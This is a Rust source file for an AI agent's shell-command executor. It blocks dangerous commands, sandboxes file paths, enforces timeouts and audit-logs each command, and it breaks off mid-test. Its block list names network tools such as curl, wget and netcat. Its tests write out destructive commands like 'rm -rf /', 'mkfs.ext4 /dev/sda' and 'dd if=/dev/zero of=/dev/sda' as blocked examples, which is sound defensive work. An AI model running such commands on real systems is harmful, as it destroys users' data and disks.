1use std::path::PathBuf;
5use std::time::{Duration, Instant};
6
7use tokio::process::Command;
8use tokio_util::sync::CancellationToken;
9
10use schemars::JsonSchema;
11use serde::Deserialize;
12
13use crate::audit::{AuditEntry, AuditLogger, AuditResult};
14use crate::config::ShellConfig;
15use crate::executor::{
16 FilterStats, ToolCall, ToolError, ToolEvent, ToolEventTx, ToolExecutor, ToolOutput,
17};
18use crate::filter::{OutputFilterRegistry, sanitize_output};
19use crate::permissions::{PermissionAction, PermissionPolicy};
20
21const DEFAULT_BLOCKED: &[&str] = &[
22 "rm -rf /", "sudo", "mkfs", "dd if=", "curl", "wget", "nc ", "ncat", "netcat", "shutdown",
23 "reboot", "halt",
24];
25
26pub const DEFAULT_BLOCKED_COMMANDS: &[&str] = DEFAULT_BLOCKED;
31
32pub const SHELL_INTERPRETERS: &[&str] =
34 &["bash", "sh", "zsh", "fish", "dash", "ksh", "csh", "tcsh"];
35
36const SUBSHELL_METACHARS: &[&str] = &["$(", "`"];
40
41#[must_use]
49pub fn check_blocklist(command: &str, blocklist: &[String]) -> Option<String> {
50 let lower = command.to_lowercase();
51 for meta in SUBSHELL_METACHARS {
53 if lower.contains(meta) {
54 return Some((*meta).to_owned());
55 }
56 }
57 let cleaned = strip_shell_escapes(&lower);
58 let commands = tokenize_commands(&cleaned);
59 for blocked in blocklist {
60 for cmd_tokens in &commands {
61 if tokens_match_pattern(cmd_tokens, blocked) {
62 return Some(blocked.clone());
63 }
64 }
65 }
66 None
67}
68
69#[must_use]
74pub fn effective_shell_command<'a>(binary: &str, args: &'a [String]) -> Option<&'a str> {
75 let base = binary.rsplit('/').next().unwrap_or(binary);
76 if !SHELL_INTERPRETERS.contains(&base) {
77 return None;
78 }
79 let pos = args.iter().position(|a| a == "-c")?;
81 args.get(pos + 1).map(String::as_str)
82}
83
84const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc ", "ncat", "netcat"];
85
86#[derive(Deserialize, JsonSchema)]
87pub(crate) struct BashParams {
88 command: String,
90}
91
92#[derive(Debug)]
94pub struct ShellExecutor {
95 timeout: Duration,
96 blocked_commands: Vec<String>,
97 allowed_paths: Vec<PathBuf>,
98 confirm_patterns: Vec<String>,
99 audit_logger: Option<AuditLogger>,
100 tool_event_tx: Option<ToolEventTx>,
101 permission_policy: Option<PermissionPolicy>,
102 output_filter_registry: Option<OutputFilterRegistry>,
103 cancel_token: Option<CancellationToken>,
104 skill_env: std::sync::RwLock<Option<std::collections::HashMap<String, String>>>,
105}
106
107impl ShellExecutor {
108 #[must_use]
109 pub fn new(config: &ShellConfig) -> Self {
110 let allowed: Vec<String> = config
111 .allowed_commands
112 .iter()
113 .map(|s| s.to_lowercase())
114 .collect();
115
116 let mut blocked: Vec<String> = DEFAULT_BLOCKED
117 .iter()
118 .filter(|s| !allowed.contains(&s.to_lowercase()))
119 .map(|s| (*s).to_owned())
120 .collect();
121 blocked.extend(config.blocked_commands.iter().map(|s| s.to_lowercase()));
122
123 if !config.allow_network {
124 for cmd in NETWORK_COMMANDS {
125 let lower = cmd.to_lowercase();
126 if !blocked.contains(&lower) {
127 blocked.push(lower);
128 }
129 }
130 }
131
132 blocked.sort();
133 blocked.dedup();
134
135 let allowed_paths = if config.allowed_paths.is_empty() {
136 vec![std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))]
137 } else {
138 config.allowed_paths.iter().map(PathBuf::from).collect()
139 };
140
141 Self {
142 timeout: Duration::from_secs(config.timeout),
143 blocked_commands: blocked,
144 allowed_paths,
145 confirm_patterns: config.confirm_patterns.clone(),
146 audit_logger: None,
147 tool_event_tx: None,
148 permission_policy: None,
149 output_filter_registry: None,
150 cancel_token: None,
151 skill_env: std::sync::RwLock::new(None),
152 }
153 }
154
155 pub fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
157 match self.skill_env.write() {
158 Ok(mut guard) => *guard = env,
159 Err(e) => tracing::error!("skill_env RwLock poisoned: {e}"),
160 }
161 }
162
163 #[must_use]
164 pub fn with_audit(mut self, logger: AuditLogger) -> Self {
165 self.audit_logger = Some(logger);
166 self
167 }
168
169 #[must_use]
170 pub fn with_tool_event_tx(mut self, tx: ToolEventTx) -> Self {
171 self.tool_event_tx = Some(tx);
172 self
173 }
174
175 #[must_use]
176 pub fn with_permissions(mut self, policy: PermissionPolicy) -> Self {
177 self.permission_policy = Some(policy);
178 self
179 }
180
181 #[must_use]
182 pub fn with_cancel_token(mut self, token: CancellationToken) -> Self {
183 self.cancel_token = Some(token);
184 self
185 }
186
187 #[must_use]
188 pub fn with_output_filters(mut self, registry: OutputFilterRegistry) -> Self {
189 self.output_filter_registry = Some(registry);
190 self
191 }
192
193 pub async fn execute_confirmed(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
199 self.execute_inner(response, true).await
200 }
201
202 #[allow(clippy::too_many_lines)]
203 async fn execute_inner(
204 &self,
205 response: &str,
206 skip_confirm: bool,
207 ) -> Result<Option<ToolOutput>, ToolError> {
208 let blocks = extract_bash_blocks(response);
209 if blocks.is_empty() {
210 return Ok(None);
211 }
212
213 let mut outputs = Vec::with_capacity(blocks.len());
214 let mut cumulative_filter_stats: Option<FilterStats> = None;
215 #[allow(clippy::cast_possible_truncation)]
216 let blocks_executed = blocks.len() as u32;
217
218 for block in &blocks {
219 if let Some(ref policy) = self.permission_policy {
220 match policy.check("bash", block) {
221 PermissionAction::Deny => {
222 self.log_audit(
223 block,
224 AuditResult::Blocked {
225 reason: "denied by permission policy".to_owned(),
226 },
227 0,
228 )
229 .await;
230 return Err(ToolError::Blocked {
231 command: (*block).to_owned(),
232 });
233 }
234 PermissionAction::Ask if !skip_confirm => {
235 return Err(ToolError::ConfirmationRequired {
236 command: (*block).to_owned(),
237 });
238 }
239 _ => {}
240 }
241 } else {
242 if let Some(blocked) = self.find_blocked_command(block) {
243 self.log_audit(
244 block,
245 AuditResult::Blocked {
246 reason: format!("blocked command: {blocked}"),
247 },
248 0,
249 )
250 .await;
251 return Err(ToolError::Blocked {
252 command: blocked.to_owned(),
253 });
254 }
255
256 if !skip_confirm && let Some(pattern) = self.find_confirm_command(block) {
257 return Err(ToolError::ConfirmationRequired {
258 command: pattern.to_owned(),
259 });
260 }
261 }
262
263 self.validate_sandbox(block)?;
264
265 if let Some(ref tx) = self.tool_event_tx {
266 let _ = tx.send(ToolEvent::Started {
267 tool_name: "bash".to_owned(),
268 command: (*block).to_owned(),
269 });
270 }
271
272 let start = Instant::now();
273 let skill_env_snapshot: Option<std::collections::HashMap<String, String>> =
274 self.skill_env.read().ok().and_then(|g| g.clone());
275 let (out, exit_code) = execute_bash(
276 block,
277 self.timeout,
278 self.tool_event_tx.as_ref(),
279 self.cancel_token.as_ref(),
280 skill_env_snapshot.as_ref(),
281 )
282 .await;
283 if exit_code == 130
284 && self
285 .cancel_token
286 .as_ref()
287 .is_some_and(CancellationToken::is_cancelled)
288 {
289 return Err(ToolError::Cancelled);
290 }
291 #[allow(clippy::cast_possible_truncation)]
292 let duration_ms = start.elapsed().as_millis() as u64;
293
294 let is_timeout = out.contains("[error] command timed out");
295 let result = if is_timeout {
296 AuditResult::Timeout
297 } else if out.contains("[error]") {
298 AuditResult::Error {
299 message: out.clone(),
300 }
301 } else {
302 AuditResult::Success
303 };
304 self.log_audit(block, result, duration_ms).await;
305
306 if is_timeout {
307 if let Some(ref tx) = self.tool_event_tx {
308 let _ = tx.send(ToolEvent::Completed {
309 tool_name: "bash".to_owned(),
310 command: (*block).to_owned(),
311 output: out.clone(),
312 success: false,
313 filter_stats: None,
314 diff: None,
315 });
316 }
317 return Err(ToolError::Timeout {
318 timeout_secs: self.timeout.as_secs(),
319 });
320 }
321
322 let sanitized = sanitize_output(&out);
323 let mut per_block_stats: Option<FilterStats> = None;
324 let filtered = if let Some(ref registry) = self.output_filter_registry {
325 match registry.apply(block, &sanitized, exit_code) {
326 Some(fr) => {
327 tracing::debug!(
328 command = block,
329 raw = fr.raw_chars,
330 filtered = fr.filtered_chars,
331 savings_pct = fr.savings_pct(),
332 "output filter applied"
333 );
334 let block_fs = FilterStats {
335 raw_chars: fr.raw_chars,
336 filtered_chars: fr.filtered_chars,
337 raw_lines: fr.raw_lines,
338 filtered_lines: fr.filtered_lines,
339 confidence: Some(fr.confidence),
340 command: Some((*block).to_owned()),
341 kept_lines: fr.kept_lines.clone(),
342 };
343 let stats =
344 cumulative_filter_stats.get_or_insert_with(FilterStats::default);
345 stats.raw_chars += fr.raw_chars;
346 stats.filtered_chars += fr.filtered_chars;
347 stats.raw_lines += fr.raw_lines;
348 stats.filtered_lines += fr.filtered_lines;
349 stats.confidence = Some(match (stats.confidence, fr.confidence) {
350 (Some(prev), cur) => crate::filter::worse_confidence(prev, cur),
351 (None, cur) => cur,
352 });
353 if stats.command.is_none() {
354 stats.command = Some((*block).to_owned());
355 }
356 if stats.kept_lines.is_empty() && !fr.kept_lines.is_empty() {
357 stats.kept_lines.clone_from(&fr.kept_lines);
358 }
359 per_block_stats = Some(block_fs);
360 fr.output
361 }
362 None => sanitized,
363 }
364 } else {
365 sanitized
366 };
367
368 if let Some(ref tx) = self.tool_event_tx {
369 let _ = tx.send(ToolEvent::Completed {
370 tool_name: "bash".to_owned(),
371 command: (*block).to_owned(),
372 output: out.clone(),
373 success: !out.contains("[error]"),
374 filter_stats: per_block_stats,
375 diff: None,
376 });
377 }
378 outputs.push(format!("$ {block}\n{filtered}"));
379 }
380
381 Ok(Some(ToolOutput {
382 tool_name: "bash".to_owned(),
383 summary: outputs.join("\n\n"),
384 blocks_executed,
385 filter_stats: cumulative_filter_stats,
386 diff: None,
387 streamed: self.tool_event_tx.is_some(),
388 terminal_id: None,
389 locations: None,
390 raw_response: None,
391 }))
392 }
393
394 fn validate_sandbox(&self, code: &str) -> Result<(), ToolError> {
395 let cwd = std::env::current_dir().unwrap_or_default();
396
397 for token in extract_paths(code) {
398 if has_traversal(&token) {
399 return Err(ToolError::SandboxViolation { path: token });
400 }
401
402 let path = if token.starts_with('/') {
403 PathBuf::from(&token)
404 } else {
405 cwd.join(&token)
406 };
407 let canonical = path
408 .canonicalize()
409 .or_else(|_| std::path::absolute(&path))
410 .unwrap_or(path);
411 if !self
412 .allowed_paths
413 .iter()
414 .any(|allowed| canonical.starts_with(allowed))
415 {
416 return Err(ToolError::SandboxViolation {
417 path: canonical.display().to_string(),
418 });
419 }
420 }
421 Ok(())
422 }
423
424 fn find_blocked_command(&self, code: &str) -> Option<&str> {
462 let cleaned = strip_shell_escapes(&code.to_lowercase());
463 let commands = tokenize_commands(&cleaned);
464 for blocked in &self.blocked_commands {
465 for cmd_tokens in &commands {
466 if tokens_match_pattern(cmd_tokens, blocked) {
467 return Some(blocked.as_str());
468 }
469 }
470 }
471 None
472 }
473
474 fn find_confirm_command(&self, code: &str) -> Option<&str> {
475 let normalized = code.to_lowercase();
476 for pattern in &self.confirm_patterns {
477 if normalized.contains(pattern.as_str()) {
478 return Some(pattern.as_str());
479 }
480 }
481 None
482 }
483
484 async fn log_audit(&self, command: &str, result: AuditResult, duration_ms: u64) {
485 if let Some(ref logger) = self.audit_logger {
486 let entry = AuditEntry {
487 timestamp: chrono_now(),
488 tool: "shell".into(),
489 command: command.into(),
490 result,
491 duration_ms,
492 };
493 logger.log(&entry).await;
494 }
495 }
496}
497
498impl ToolExecutor for ShellExecutor {
499 async fn execute(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
500 self.execute_inner(response, false).await
501 }
502
503 fn tool_definitions(&self) -> Vec<crate::registry::ToolDef> {
504 use crate::registry::{InvocationHint, ToolDef};
505 vec![ToolDef {
506 id: "bash".into(),
507 description: "Execute a shell command and return stdout/stderr.\n\nParameters: command (string, required) - shell command to run\nReturns: stdout and stderr combined, prefixed with exit code\nErrors: Blocked if command matches security policy; Timeout after configured seconds; SandboxViolation if path outside allowed dirs\nExample: {\"command\": \"ls -la /tmp\"}".into(),
508 schema: schemars::schema_for!(BashParams),
509 invocation: InvocationHint::FencedBlock("bash"),
510 }]
511 }
512
513 async fn execute_tool_call(&self, call: &ToolCall) -> Result<Option<ToolOutput>, ToolError> {
514 if call.tool_id != "bash" {
515 return Ok(None);
516 }
517 let params: BashParams = crate::executor::deserialize_params(&call.params)?;
518 if params.command.is_empty() {
519 return Ok(None);
520 }
521 let command = ¶ms.command;
522 let synthetic = format!("```bash\n{command}\n```");
524 self.execute_inner(&synthetic, false).await
525 }
526
527 fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
528 ShellExecutor::set_skill_env(self, env);
529 }
530}
531
532pub(crate) fn strip_shell_escapes(input: &str) -> String {
536 let mut out = String::with_capacity(input.len());
537 let bytes = input.as_bytes();
538 let mut i = 0;
539 while i < bytes.len() {
540 if i + 1 < bytes.len() && bytes[i] == b'$' && bytes[i + 1] == b'\'' {
542 let mut j = i + 2; let mut decoded = String::new();
544 let mut valid = false;
545 while j < bytes.len() && bytes[j] != b'\'' {
546 if bytes[j] == b'\\' && j + 1 < bytes.len() {
547 let next = bytes[j + 1];
548 if next == b'x' && j + 3 < bytes.len() {
549 let hi = (bytes[j + 2] as char).to_digit(16);
551 let lo = (bytes[j + 3] as char).to_digit(16);
552 if let (Some(h), Some(l)) = (hi, lo) {
553 #[allow(clippy::cast_possible_truncation)]
554 let byte = ((h << 4) | l) as u8;
555 decoded.push(byte as char);
556 j += 4;
557 valid = true;
558 continue;
559 }
560 } else if next.is_ascii_digit() {
561 let mut val = u32::from(next - b'0');
563 let mut len = 2; if j + 2 < bytes.len() && bytes[j + 2].is_ascii_digit() {
565 val = val * 8 + u32::from(bytes[j + 2] - b'0');
566 len = 3;
567 if j + 3 < bytes.len() && bytes[j + 3].is_ascii_digit() {
568 val = val * 8 + u32::from(bytes[j + 3] - b'0');
569 len = 4;
570 }
571 }
572 #[allow(clippy::cast_possible_truncation)]
573 decoded.push((val & 0xFF) as u8 as char);
574 j += len;
575 valid = true;
576 continue;
577 }
578 decoded.push(next as char);
580 j += 2;
581 } else {
582 decoded.push(bytes[j] as char);
583 j += 1;
584 }
585 }
586 if j < bytes.len() && bytes[j] == b'\'' && valid {
587 out.push_str(&decoded);
588 i = j + 1;
589 continue;
590 }
591 }
593 if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] == b'\n' {
595 i += 2;
596 continue;
597 }
598 if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] != b'\n' {
600 i += 1;
601 out.push(bytes[i] as char);
602 i += 1;
603 continue;
604 }
605 if bytes[i] == b'"' || bytes[i] == b'\'' {
607 let quote = bytes[i];
608 i += 1;
609 while i < bytes.len() && bytes[i] != quote {
610 out.push(bytes[i] as char);
611 i += 1;
612 }
613 if i < bytes.len() {
614 i += 1; }
616 continue;
617 }
618 out.push(bytes[i] as char);
619 i += 1;
620 }
621 out
622}
623
624pub(crate) fn tokenize_commands(normalized: &str) -> Vec<Vec<String>> {
627 let replaced = normalized.replace("||", "\n").replace("&&", "\n");
629 replaced
630 .split([';', '|', '\n'])
631 .map(|seg| {
632 seg.split_whitespace()
633 .map(str::to_owned)
634 .collect::<Vec<String>>()
635 })
636 .filter(|tokens| !tokens.is_empty())
637 .collect()
638}
639
640const TRANSPARENT_PREFIXES: &[&str] = &["env", "command", "exec", "nice", "nohup", "time", "xargs"];
643
644fn cmd_basename(tok: &str) -> &str {
646 tok.rsplit('/').next().unwrap_or(tok)
647}
648
649pub(crate) fn tokens_match_pattern(tokens: &[String], pattern: &str) -> bool {
656 if tokens.is_empty() || pattern.is_empty() {
657 return false;
658 }
659 let pattern = pattern.trim();
660 let pattern_tokens: Vec<&str> = pattern.split_whitespace().collect();
661 if pattern_tokens.is_empty() {
662 return false;
663 }
664
665 let start = tokens
667 .iter()
668 .position(|t| !TRANSPARENT_PREFIXES.contains(&cmd_basename(t)))
669 .unwrap_or(0);
670 let effective = &tokens[start..];
671 if effective.is_empty() {
672 return false;
673 }
674
675 if pattern_tokens.len() == 1 {
676 let pat = pattern_tokens[0];
677 let base = cmd_basename(&effective[0]);
678 base == pat || base.starts_with(&format!("{pat}."))
680 } else {
681 let n = pattern_tokens.len().min(effective.len());
683 let mut parts: Vec<&str> = vec![cmd_basename(&effective[0])];
684 parts.extend(effective[1..n].iter().map(String::as_str));
685 let joined = parts.join(" ");
686 if joined.starts_with(pattern) {
687 return true;
688 }
689 if effective.len() > n {
690 let mut parts2: Vec<&str> = vec![cmd_basename(&effective[0])];
691 parts2.extend(effective[1..=n].iter().map(String::as_str));
692 parts2.join(" ").starts_with(pattern)
693 } else {
694 false
695 }
696 }
697}
698
699fn extract_paths(code: &str) -> Vec<String> {
700 let mut result = Vec::new();
701
702 let mut tokens: Vec<String> = Vec::new();
704 let mut current = String::new();
705 let mut chars = code.chars().peekable();
706 while let Some(c) = chars.next() {
707 match c {
708 '"' | '\'' => {
709 let quote = c;
710 while let Some(&nc) = chars.peek() {
711 if nc == quote {
712 chars.next();
713 break;
714 }
715 current.push(chars.next().unwrap());
716 }
717 }
718 c if c.is_whitespace() || matches!(c, ';' | '|' | '&') => {
719 if !current.is_empty() {
720 tokens.push(std::mem::take(&mut current));
721 }
722 }
723 _ => current.push(c),
724 }
725 }
726 if !current.is_empty() {
727 tokens.push(current);
728 }
729
730 for token in tokens {
731 let trimmed = token.trim_end_matches([';', '&', '|']).to_owned();
732 if trimmed.is_empty() {
733 continue;
734 }
735 if trimmed.starts_with('/')
736 || trimmed.starts_with("./")
737 || trimmed.starts_with("../")
738 || trimmed == ".."
739 {
740 result.push(trimmed);
741 }
742 }
743 result
744}
745
746fn has_traversal(path: &str) -> bool {
747 path.split('/').any(|seg| seg == "..")
748}
749
750fn extract_bash_blocks(text: &str) -> Vec<&str> {
751 crate::executor::extract_fenced_blocks(text, "bash")
752}
753
754fn chrono_now() -> String {
755 use std::time::{SystemTime, UNIX_EPOCH};
756 let secs = SystemTime::now()
757 .duration_since(UNIX_EPOCH)
758 .unwrap_or_default()
759 .as_secs();
760 format!("{secs}")
761}
762
763async fn kill_process_tree(child: &mut tokio::process::Child) {
767 #[cfg(unix)]
768 if let Some(pid) = child.id() {
769 let _ = Command::new("pkill")
770 .args(["-KILL", "-P", &pid.to_string()])
771 .status()
772 .await;
773 }
774 let _ = child.kill().await;
775}
776
777async fn execute_bash(
778 code: &str,
779 timeout: Duration,
780 event_tx: Option<&ToolEventTx>,
781 cancel_token: Option<&CancellationToken>,
782 extra_env: Option<&std::collections::HashMap<String, String>>,
783) -> (String, i32) {
784 use std::process::Stdio;
785 use tokio::io::{AsyncBufReadExt, BufReader};
786
787 let timeout_secs = timeout.as_secs();
788
789 let mut cmd = Command::new("bash");
790 cmd.arg("-c")
791 .arg(code)
792 .stdout(Stdio::piped())
793 .stderr(Stdio::piped());
794 if let Some(env) = extra_env {
795 cmd.envs(env);
796 }
797 let child_result = cmd.spawn();
798
799 let mut child = match child_result {
800 Ok(c) => c,
801 Err(e) => return (format!("[error] {e}"), 1),
802 };
803
804 let stdout = child.stdout.take().expect("stdout piped");
805 let stderr = child.stderr.take().expect("stderr piped");
806
807 let (line_tx, mut line_rx) = tokio::sync::mpsc::channel::<String>(64);
808
809 let stdout_tx = line_tx.clone();
810 tokio::spawn(async move {
811 let mut reader = BufReader::new(stdout);
812 let mut buf = String::new();
813 while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
814 let _ = stdout_tx.send(buf.clone()).await;
815 buf.clear();
816 }
817 });
818
819 tokio::spawn(async move {
820 let mut reader = BufReader::new(stderr);
821 let mut buf = String::new();
822 while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
823 let _ = line_tx.send(format!("[stderr] {buf}")).await;
824 buf.clear();
825 }
826 });
827
828 let mut combined = String::new();
829 let deadline = tokio::time::Instant::now() + timeout;
830
831 loop {
832 tokio::select! {
833 line = line_rx.recv() => {
834 match line {
835 Some(chunk) => {
836 if let Some(tx) = event_tx {
837 let _ = tx.send(ToolEvent::OutputChunk {
838 tool_name: "bash".to_owned(),
839 command: code.to_owned(),
840 chunk: chunk.clone(),
841 });
842 }
843 combined.push_str(&chunk);
844 }
845 None => break,
846 }
847 }
848 () = tokio::time::sleep_until(deadline) => {
849 kill_process_tree(&mut child).await;
850 return (format!("[error] command timed out after {timeout_secs}s"), 1);
851 }
852 () = async {
853 match cancel_token {
854 Some(t) => t.cancelled().await,
855 None => std::future::pending().await,
856 }
857 } => {
858 kill_process_tree(&mut child).await;
859 return ("[cancelled] operation aborted".to_string(), 130);
860 }
861 }
862 }
863
864 let status = child.wait().await;
865 let exit_code = status.ok().and_then(|s| s.code()).unwrap_or(1);
866
867 if combined.is_empty() {
868 ("(no output)".to_string(), exit_code)
869 } else {
870 (combined, exit_code)
871 }
872}
873
874#[cfg(test)]
875mod tests {
876 use super::*;
877
878 fn default_config() -> ShellConfig {
879 ShellConfig {
880 timeout: 30,
881 blocked_commands: Vec::new(),
882 allowed_commands: Vec::new(),
883 allowed_paths: Vec::new(),
884 allow_network: true,
885 confirm_patterns: Vec::new(),
886 }
887 }
888
889 fn sandbox_config(allowed_paths: Vec<String>) -> ShellConfig {
890 ShellConfig {
891 allowed_paths,
892 ..default_config()
893 }
894 }
895
896 #[test]
897 fn extract_single_bash_block() {
898 let text = "Here is code:\n```bash\necho hello\n```\nDone.";
899 let blocks = extract_bash_blocks(text);
900 assert_eq!(blocks, vec!["echo hello"]);
901 }
902
903 #[test]
904 fn extract_multiple_bash_blocks() {
905 let text = "```bash\nls\n```\ntext\n```bash\npwd\n```";
906 let blocks = extract_bash_blocks(text);
907 assert_eq!(blocks, vec!["ls", "pwd"]);
908 }
909
910 #[test]
911 fn ignore_non_bash_blocks() {
912 let text = "```python\nprint('hi')\n```\n```bash\necho hi\n```";
913 let blocks = extract_bash_blocks(text);
914 assert_eq!(blocks, vec!["echo hi"]);
915 }
916
917 #[test]
918 fn no_blocks_returns_none() {
919 let text = "Just plain text, no code blocks.";
920 let blocks = extract_bash_blocks(text);
921 assert!(blocks.is_empty());
922 }
923
924 #[test]
925 fn unclosed_block_ignored() {
926 let text = "```bash\necho hello";
927 let blocks = extract_bash_blocks(text);
928 assert!(blocks.is_empty());
929 }
930
931 #[tokio::test]
932 #[cfg(not(target_os = "windows"))]
933 async fn execute_simple_command() {
934 let (result, code) =
935 execute_bash("echo hello", Duration::from_secs(30), None, None, None).await;
936 assert!(result.contains("hello"));
937 assert_eq!(code, 0);
938 }
939
940 #[tokio::test]
941 #[cfg(not(target_os = "windows"))]
942 async fn execute_stderr_output() {
943 let (result, _) =
944 execute_bash("echo err >&2", Duration::from_secs(30), None, None, None).await;
945 assert!(result.contains("[stderr]"));
946 assert!(result.contains("err"));
947 }
948
949 #[tokio::test]
950 #[cfg(not(target_os = "windows"))]
951 async fn execute_stdout_and_stderr_combined() {
952 let (result, _) = execute_bash(
953 "echo out && echo err >&2",
954 Duration::from_secs(30),
955 None,
956 None,
957 None,
958 )
959 .await;
960 assert!(result.contains("out"));
961 assert!(result.contains("[stderr]"));
962 assert!(result.contains("err"));
963 assert!(result.contains('\n'));
964 }
965
966 #[tokio::test]
967 #[cfg(not(target_os = "windows"))]
968 async fn execute_empty_output() {
969 let (result, code) = execute_bash("true", Duration::from_secs(30), None, None, None).await;
970 assert_eq!(result, "(no output)");
971 assert_eq!(code, 0);
972 }
973
974 #[tokio::test]
975 async fn blocked_command_rejected() {
976 let config = ShellConfig {
977 blocked_commands: vec!["rm -rf /".to_owned()],
978 ..default_config()
979 };
980 let executor = ShellExecutor::new(&config);
981 let response = "Run:\n```bash\nrm -rf /\n```";
982 let result = executor.execute(response).await;
983 assert!(matches!(result, Err(ToolError::Blocked { .. })));
984 }
985
986 #[tokio::test]
987 #[cfg(not(target_os = "windows"))]
988 async fn timeout_enforced() {
989 let config = ShellConfig {
990 timeout: 1,
991 ..default_config()
992 };
993 let executor = ShellExecutor::new(&config);
994 let response = "Run:\n```bash\nsleep 60\n```";
995 let result = executor.execute(response).await;
996 assert!(matches!(
997 result,
998 Err(ToolError::Timeout { timeout_secs: 1 })
999 ));
1000 }
1001
1002 #[tokio::test]
1003 #[cfg(not(target_os = "windows"))]
1004 async fn timeout_logged_as_audit_timeout_not_error() {
1005 use crate::audit::AuditLogger;
1006 use crate::config::AuditConfig;
1007 let dir = tempfile::tempdir().unwrap();
1008 let log_path = dir.path().join("audit.log");
1009 let audit_config = AuditConfig {
1010 enabled: true,
1011 destination: log_path.display().to_string(),
1012 };
1013 let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1014 let config = ShellConfig {
1015 timeout: 1,
1016 ..default_config()
1017 };
1018 let executor = ShellExecutor::new(&config).with_audit(logger);
1019 let _ = executor.execute("```bash\nsleep 60\n```").await;
1020 let content = tokio::fs::read_to_string(&log_path).await.unwrap();
1021 assert!(
1022 content.contains("\"type\":\"timeout\""),
1023 "expected AuditResult::Timeout, got: {content}"
1024 );
1025 assert!(
1026 !content.contains("\"type\":\"error\""),
1027 "timeout must not be logged as error: {content}"
1028 );
1029 }
1030
1031 #[tokio::test]
1032 async fn execute_no_blocks_returns_none() {
1033 let executor = ShellExecutor::new(&default_config());
1034 let result = executor.execute("plain text, no blocks").await;
1035 assert!(result.is_ok());
1036 assert!(result.unwrap().is_none());
1037 }
1038
1039 #[tokio::test]
1040 async fn execute_multiple_blocks_counted() {
1041 let executor = ShellExecutor::new(&default_config());
1042 let response = "```bash\necho one\n```\n```bash\necho two\n```";
1043 let result = executor.execute(response).await;
1044 let output = result.unwrap().unwrap();
1045 assert_eq!(output.blocks_executed, 2);
1046 assert!(output.summary.contains("one"));
1047 assert!(output.summary.contains("two"));
1048 }
1049
1050 #[test]
1053 fn default_blocked_always_active() {
1054 let executor = ShellExecutor::new(&default_config());
1055 assert!(executor.find_blocked_command("rm -rf /").is_some());
1056 assert!(executor.find_blocked_command("sudo apt install").is_some());
1057 assert!(
1058 executor
1059 .find_blocked_command("mkfs.ext4 /dev/sda")
1060 .is_some()
1061 );
1062 assert!(
1063 executor
1064 .find_blocked_command("dd if=/dev/zero of=disk")
1065 .is_some()
1066 );
1067 }
1068
1069 #[test]
1070 fn user_blocked_additive() {
1071 let config = ShellConfig {
1072 blocked_commands: vec!["custom-danger".to_owned()],
1073 ..default_config()
1074 };
1075 let executor = ShellExecutor::new(&config);
1076 assert!(executor.find_blocked_command("sudo rm").is_some());
1077 assert!(
1078 executor
1079 .find_blocked_command("custom-danger script")
1080 .is_some()
1081 );
1082 }
1083
1084 #[test]
1085 fn blocked_prefix_match() {
1086 let executor = ShellExecutor::new(&default_config());
1087 assert!(executor.find_blocked_command("rm -rf /home/user").is_some());
1088 }
1089
1090 #[test]
1091 fn blocked_infix_match() {
1092 let executor = ShellExecutor::new(&default_config());
1093 assert!(
1094 executor
1095 .find_blocked_command("echo hello && sudo rm")
1096 .is_some()
1097 );
1098 }
1099
1100 #[test]
1101 fn blocked_case_insensitive() {
1102 let executor = ShellExecutor::new(&default_config());
1103 assert!(executor.find_blocked_command("SUDO apt install").is_some());
1104 assert!(executor.find_blocked_command("Sudo apt install").is_some());
1105 assert!(executor.find_blocked_command("SuDo apt install").is_some());
1106 assert!(
1107 executor
1108 .find_blocked_command("MKFS.ext4 /dev/sda")
1109 .is_some()
1110 );
1111 assert!(executor.find_blocked_command("DD IF=/dev/zero").is_some());
1112 assert!(executor.find_blocked_command("RM -RF /").is_some());
1113 }
1114
1115 #[test]
1116 fn safe_command_passes() {
1117 let executor = ShellExecutor::new(&default_config());
1118 assert!(executor.find_blocked_command("echo hello").is_none());
1119 assert!(executor.find_blocked_command("ls -la").is_none());
1120 assert!(executor.find_blocked_command("cat file.txt").is_none());
1121 assert!(executor.find_blocked_command("cargo build").is_none());
1122 }
1123
1124 #[test]
1125 fn partial_match_accepted_tradeoff() {
1126 let executor = ShellExecutor::new(&default_config());
1127 assert!(executor.find_blocked_command("sudoku").is_none());
1129 }
1130
1131 #[test]
1132 fn multiline_command_blocked() {
1133 let executor = ShellExecutor::new(&default_config());
1134 assert!(executor.find_blocked_command("echo ok\nsudo rm").is_some());
1135 }
1136
1137 #[test]
1138 fn dd_pattern_blocks_dd_if() {
1139 let executor = ShellExecutor::new(&default_config());
1140 assert!(
1141 executor
1142 .find_blocked_command("dd if=/dev/zero of=/dev/sda")
1143 .is_some()
1144 );
1145 }
1146
1147 #[test]
1148 fn mkfs_pattern_blocks_variants() {
1149 let executor = ShellExecutor::new(&default_config());
1150 assert!(
1151 executor
1152 .find_blocked_command("mkfs.ext4 /dev/sda")
1153 .is_some()
1154 );
1155 assert!(executor.find_blocked_command("mkfs.xfs /dev/sdb").is_some());
1156 }
1157
1158 #[test]
1159 fn empty_command_not_blocked() {
1160 let executor = ShellExecutor::new(&default_config());
1161 assert!(executor.find_blocked_command("").is_none());
1162 }
1163
1164 #[test]
1165 fn duplicate_patterns_deduped() {
1166 let config = ShellConfig {
1167 blocked_commands: vec!["sudo".to_owned(), "sudo".to_owned()],
1168 ..default_config()
1169 };
1170 let executor = ShellExecutor::new(&config);
1171 let count = executor
1172 .blocked_commands
1173 .iter()
1174 .filter(|c| c.as_str() == "sudo")
1175 .count();
1176 assert_eq!(count, 1);
1177 }
1178
1179 #[tokio::test]
1180 async fn execute_default_blocked_returns_error() {
1181 let executor = ShellExecutor::new(&default_config());
1182 let response = "Run:\n```bash\nsudo rm -rf /tmp\n```";
1183 let result = executor.execute(response).await;
1184 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1185 }
1186
1187 #[tokio::test]
1188 async fn execute_case_insensitive_blocked() {
1189 let executor = ShellExecutor::new(&default_config());
1190 let response = "Run:\n```bash\nSUDO apt install foo\n```";
1191 let result = executor.execute(response).await;
